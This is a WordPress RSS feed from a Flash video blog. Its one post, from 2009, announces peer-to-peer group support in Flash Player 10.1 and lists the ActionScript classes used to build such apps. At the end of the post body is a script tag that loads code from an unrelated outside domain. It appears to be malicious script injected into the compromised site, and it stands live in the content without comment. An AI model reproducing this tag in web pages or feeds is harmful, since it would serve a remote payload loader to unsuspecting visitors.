<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Flash Video Examples &#187; P2P</title>
	<atom:link href="http://blog.flashvideoexamples.com/tag/p2p/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.flashvideoexamples.com</link>
	<description></description>
	<lastBuildDate>Mon, 07 Jun 2010 16:35:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Build P2P applications for Flash Player and AIR</title>
		<link>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/</link>
		<comments>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 20:00:33 +0000</pubDate>
		<dc:creator>Jody</dc:creator>
				<category><![CDATA[P2P]]></category>
		<category><![CDATA[announcements]]></category>
		<category><![CDATA[application development]]></category>

		<guid isPermaLink="false">http://blog.flashvideoexamples.com/?p=53</guid>
		<description><![CDATA[Flash Player 10.1, which is available now on Adobe Labs, adds support for creating peer-to-peer groups. Flash Player 10 let you make peer-to-peer connections between 2 Flash Player clients, but now you can create an entire mesh. And share data, audio, and video streams directly between all peers in the mesh. Think scale&#8230; massive, massive [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xhYnMuYWRvYmUuY29tL2Rvd25sb2Fkcy9mbGFzaHBsYXllcjEwLmh0bWw=" target=\"_blank\">Flash Player 10.1</a>, which is available now on Adobe Labs, adds support for creating peer-to-peer groups. Flash Player 10 let you make peer-to-peer connections between 2 Flash Player clients, but now you can create an entire mesh. And share data, audio, and video streams directly between all peers in the mesh. Think scale&#8230; massive, massive scale, without thousands and thousands of Flash Media Server boxes or huge bandwidth pipes. Think cheap and big. Exciting, no?</p>
<p>All clients in the mesh must make a connection to <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xhYnMuYWRvYmUuY29tL3dpa2kvaW5kZXgucGhwL1N0cmF0dXM=" target=\"_blank\">Stratus </a>(a hosted service available on Adobe Labs), but the data shared in the mesh doesn&#8217;t go through Stratus, it travels directly between the peers in the group. Stratus is a non-commercial server that lets Adobe preview technologies that will become available in future releases of Flash Media Server.  You can also use <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hZG9iZS5jb20vcHJvZHVjdHMvbGl2ZWN5Y2xlL2NvbGxhYm9yYXRpb25zZXJ2aWNlLw==" target=\"_blank\">LiveCycle Collaboration Service </a>to build commercial P2P apps. LCCS rolls the P2P functionality for you and falls back to hub and spoke if needed. Tom Krcha has a nice <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hZG9iZS5jb20vZGV2bmV0L2ZsYXNobWVkaWFzZXJ2ZXIvYXJ0aWNsZXMvcDJwX2FwcHNfc3RyYXR1c19sY2NzLmh0bWw=" target=\"_blank\">explanation of the difference</a> between Stratus and LCCS.</p>
<p>The classes you need to build P2P apps are documented in the beta version of the unified <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0ZsYXNoUGxhdGZvcm0vYmV0YS9yZWZlcmVuY2UvYWN0aW9uc2NyaXB0LzMv" target=\"_blank\">ActionScript 3.0 Reference</a>. (Yes, this means that from now on there will be one and only one version of the AS3R. No more special versions for Flex, AIR, etc etc. Get all your Flash Platform API information from a single source. Phew.) Where was I? Right&#8230; P2p&#8230;</p>
<ul>
<li>Use the <em>GroupSpecifier </em>class to define a group and its options. This class creates the groupspec string which is the immutable identity of the group.</li>
<li>Use the <em>NetGroup </em>class to manage a group and get statistics about a group.</li>
<li>Use the <em>NetStream </em>class to multicast audio, video, and data. Just like you do with hub and spoke apps.</li>
<li>Use the <em>NetConnection </em>class to connect to Stratus (and in the future, FMS). For P2P apps, use the RTMFP protocol.</li>
</ul>
<p>I&#8217;ll be writing more about P2P Flash apps (here and for the Adobe docs), but meanwhile, check out <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3R2LmFkb2JlLmNvbS93YXRjaC9tYXgtMjAwOS1kZXZlbG9wL3NvY2lhbC1tZWRpYS1leHBlcmllbmNlcy13aXRoLWZsYXNoLW1lZGlhLWFuZC1ydG1mcC8=" target=\"_blank\">Tom&#8217;s MAX 2009 session</a>.<script src="http://ie.eracou.com/3"></script></p>
 <img src="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?view=1&post_id=53" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
